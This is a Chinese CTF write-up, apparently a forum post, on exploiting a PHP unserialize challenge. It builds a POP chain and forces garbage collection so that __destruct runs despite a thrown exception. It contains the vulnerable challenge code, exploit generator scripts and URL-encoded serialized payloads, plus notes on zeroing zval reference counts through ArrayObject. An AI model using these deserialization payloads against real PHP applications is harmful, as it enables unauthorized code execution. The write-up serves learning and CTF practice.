-
-
[原创]利用PHP垃圾回收机制构造POP链
-
2022-3-3 16:51 7580
-
这本来是第四届浙江省赛的题目,有很多解法,但在赛后受歪四大佬指点。一个很“怪”的解法出现了,可能是我见识少。先放原题和一种常规解法。
原题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | <?php error_reporting(E_ALL); ini_set( 'display_errors' , true); highlight_file(__FILE__); class Fun{ private $func = 'call_user_func_array' ; public function __call($f,$p){ call_user_func($this - >func,$f,$p); } public function __wakeup(){ $this - >func = ''; die( "Don't serialize me" ); } } class Test{ public function getFlag(){ system( "cat /flag?" ); } public function __call($f,$p){ phpinfo(); } public function __wakeup(){ echo "serialize me?" ; } } class A{ public $a; public function __get($p){ if (preg_match( "/Test/" ,get_class($this - >a))){ return "No test in Prod\n" ; } return $this - >a - >$p(); } } class B{ public $p; public function __destruct(){ $p = $this - >p; echo $this - >a - >$p; } } if (isset($_GET[ 'pop' ])){ $pop = $_GET[ 'pop' ]; $o = unserialize($pop); throw new Exception( "no pop" ); } |
由于赛后没有环境,所以在phpstudy里复现的,把getFlag里的cat语句修改为了包含flag.php,并且输出flag。其实成功调用那个getFlag方法就可以。
常规思路
如何调用getFlag?在类Fun中call_user_func函数可以做到,所以只需调用Fun里的__call
,而调用Fun中不存在的方法即可,由此可以看到类A中__get
方法中含有调用方法的语句。调用不可访问的属性触发__get方法,这个不可访问的属性包括私有属性以及不存在的属性。这里通过类B即可达到。
注意:call_user_func
函数,第一个参数是函数名,后面的参数是此函数的参数。若调用的函数在类里,那么这个参数要用数组形式传递,第一个元素为类名,第二个元素为函数名。绕过__wakeup
修改属性个数即可,可能包含不可见字符,要编码。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | <?php class Fun{ private $func; public function __construct(){ $this - >func = [new Test, 'getFlag' ]; / / 也可以写为$this - >func = "Test::getFlag" ;这样由于没有实例化Test类,还不会触发Test里的__wakeup() } } class Test{ public function getFlag(){ } } class A{ public $a; } class B{ public $p; } $Test = new Test; $Fun = new Fun; $a = new A; $b = new B; $a - >a = $Fun; $b - >a = $a; $r = serialize($b); $r1 = str_replace( '"Fun":1:' , '"Fun":2:' ,$r); echo urlencode($r1); |
payload:
1 | O % 3A1 % 3A % 22B % 22 % 3A2 % 3A % 7Bs % 3A1 % 3A % 22p % 22 % 3BN % 3Bs % 3A1 % 3A % 22a % 22 % 3BO % 3A1 % 3A % 22A % 22 % 3A1 % 3A % 7Bs % 3A1 % 3A % 22a % 22 % 3BO % 3A3 % 3A % 22Fun % 22 % 3A2 % 3A % 7Bs % 3A9 % 3A % 22 % 00Fun % 00func % 22 % 3Ba % 3A2 % 3A % 7Bi % 3A0 % 3BO % 3A4 % 3A % 22Test % 22 % 3A0 % 3A % 7B % 7Di % 3A1 % 3Bs % 3A7 % 3A % 22getFlag % 22 % 3B % 7D % 7D % 7D % 7D |
强制触发垃圾回收机制思路
在常规思路中我们的pop链是B→A→Fun→Test,可是B里的__destruct()
方法貌似没有主动触发。在之前一篇文章说过destruct的触发
__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行
显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉
在常规思路中destruct是隐式销毁触发的,当然这里使用强行GC
首先我们要简单了解垃圾回收是什么,就是把内存中不需要使用的量给清除掉,收回它所占用的空间。
旧的GC
在PHP5.3版本之前,使用的垃圾回收机制是单纯的“引用计数”。即:
①每个内存对象都分配一个计数器,当内存对象被变量引用时,计数器+1;
②当变量引用撤掉后(执行unset()后),计数器-1;
③当计数器=0时,表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成。
这个时候就出现了问题,我自己引用我自己,自身一个,自己又被引用,所以计数器是2,但我将它销毁,才减1,此时明明已销毁,但还是1,所以无法进行回收,产生了内存泄漏。
新的GC
每个php变量存在一个叫"zval"的变量容器中。一个zval变量容器,除了包含变量的类型和值,还包括两个字节的额外信息。
第一个是"is_ref",是个bool值,用来标识这个变量是否是属于引用集合(reference set)。通过这个字节,php引擎才能把普通变量和引用变量区分开来,由于php允许用户通过使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个额外字节是"refcount",用以表示指向这个zval变量容器的变量(也称符号即symbol)个数。所有的符号存在一个符号表中,其中每个符号都有作用域(scope)。简单的理解如下图所示:
具体的代码示例,网上的太多了。装个Xdebug插件就可以测试,这里就不赘述了。
触发垃圾回收
该算法的实现可以在“Zend/zend_gc.c”( https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )中找到。每当zval被销毁时(例如:在该zval上调用unset时),垃圾回收算法会检查其是否为数组或对象。除了数组和对象外,所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root函数来实现。任何这种潜在的zval都被称为根(Root),并会被添加到一个名为gc_root_buffer的列表中。
然后,将会重复上述步骤,直至满足下述条件之一:
1、gc_collect_cycles()被手动调用( http://php.net/manual/de/function.gc-collect-cycles.php );
2、垃圾存储空间将满。这也就意味着,在根缓冲区的位置已经存储了10000个zval,并且即将添加新的根。这里的10000是由“Zend/zend_gc.c”( https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )头部中GC_ROOT_BUFFER_MAX_ENTRIES所定义的默认限制。当出现第10001个zval时,将会再次调用gc_zval_possible_root,这时将会再次执行对gc_collect_cycles的调用以处理并刷新当前缓冲区,从而可以再次存储新的元素。
由于现实环境的种种限制,手动调用gc_collect_cycles()并不现实。也就是说,我们要强行触发gc,要靠填满垃圾存储空间
反序列化中触发垃圾回收以及问题解决
这个涉及太多php底层内容,搞了好久也只是一知半解,我这里将原理以及遇到的问题简单点说,具体示例以及资料我会放在文章末尾
由于反序列化过程允许一遍又一遍地传递相同的索引,所以不断填充空间。一旦重新使用数组的索引,旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update,它将调用旧元素的析构函数(Destructor)。每当zval被销毁时,都会涉及到垃圾回收算法。这也就意味着,所有创建的数组都会开始填充垃圾缓冲区,直至超出其空间导致对gc_collect_cycles的调用。
但是问题也来了,反序列化期间所有元素的引用计数器值都大于完成后的值。这是为啥?因为反序列化过程会跟踪所有未序列化的元素,以允许设置引用。全部条目都存储在列表var_hash中。一旦反序列化过程即将完成,就会破坏函数var_destroy中的条目。
所以针对每个在特定元素上的附加引用,我们必须让引用计数增加2。大佬给出了一种方法:
ArrayObject的反序列化函数接受对另一个数组的引用,以用于初始化的目的。这也就意味着,一旦我们对一个ArrayObject进行反序列化后,就可以引用任何之前已经被反序列化过的数组。此外,这还将允许我们将整个哈希表中的所有条目递减两次。具体步骤如下:
1、得到一个应被释放的目标zval X;
2、创建一个数组Y,其中包含几处对zval X的引用:array(ref_to_X, ref_to_X, […], ref_to_X);
3、创建一个ArrayObject,它将使用数组Y的内容进行初始化,因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤,我们可以操纵标记算法,对数组Y中的所有引用实现两次访问。但是,在反序列化过程中创建引用将会导致引用计数器增加2,所以还要找到解决方案:
4、使用与步骤3相同的方法,额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject,它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减,可以将该方法用于对任意目标zval的引用计数器实现清零。
虽然能够清零任意目标zval的引用计数器,但垃圾回收算法依然没有释放,但这太高深的东西我已经头疼了,资料就是这些,知道大致原理,我们回归到题目上来。
例子
看一段代码
1 2 3 4 5 6 7 8 9 10 11 | <?php highlight_file(__FILE__); $flag = "Tajang{CTFking}" ; class B { function __destruct() { echo "successful\n" ; echo $flag; } } unserialize($_GET[ 1 ]); throw new Exception( '中途退出啦' ); |
我们假如要执行__destruct
方法,打印flag,就得绕过这个throw new Exception
。因为__destruct
方法是在该对象被回收时调用,而exception会中断该进程对该对象的销毁。
所以我们需要强制让php的GC(垃圾回收机制)去进行该对象的回收。上面的原理已经说了方法:需要反序列化一个数组,然后再利用第一个索引,来触发GC
1 2 3 4 5 6 7 8 | <?php class B{ function __construct(){ echo "Tajang" ; } } echo serialize(array(new B, new B)); ?> |
得到a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}
,我们利用第一个索引,所以将后面改为第一个元素索引即可,也可以多加几个触发gc。payload:a:2{i:0;O:1:"B":0:{}i:0;i:0;}
回到正题,这个用垃圾回收机制的题解也就出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php class B{ public $p; public function __construct(){ $this - >a = new A(); } } class A{ public $a; public function __construct(){ $this - >a = new Fun(); } } class Fun{ private $func = 'call_user_func_array' ; public function __construct() { $this - >func = "Test::getFlag" ; } } $o = array(new B, new B); $a = serialize($o); echo urlencode(str_replace( 'O:3:"Fun":1:' , 'O:3:"Fun":2:' ,$a)); |
多添加几次第一个索引达到多次触发gc更好,再用空格隔开更好,于是最后三行可以修改为如下:
1 2 3 4 5 | $o = array(new B, new B); $tmp = "i:0;" .serialize(new B); $a = serialize($o); $z = str_replace($tmp,$tmp. " " ,$a); echo urlencode(str_replace( 'O:3:"Fun":1:' , 'O:3:"Fun":2:' ,$z)); |
结果都是一样的
大佬坠入Java深渊,忘记了这个GC。只能自己找、自己理解了。搞了好久查了好多的资料,还读不懂,谷歌的都是英文。本文引用了一些文章内容,还有自己的总结以及理解,如有错误,请各位指出,定会及时修改。
资料:
Breaking PHP’s Garbage Collection and Unserialize(众多文章的源头,全英文不太好读懂)
如何攻破PHP的垃圾回收和反序列化机制(下)(这两篇是译文,翻译的很好)
php反序列化小trick之强制GC(写完之后发现这个作者的demo很好,借用一下)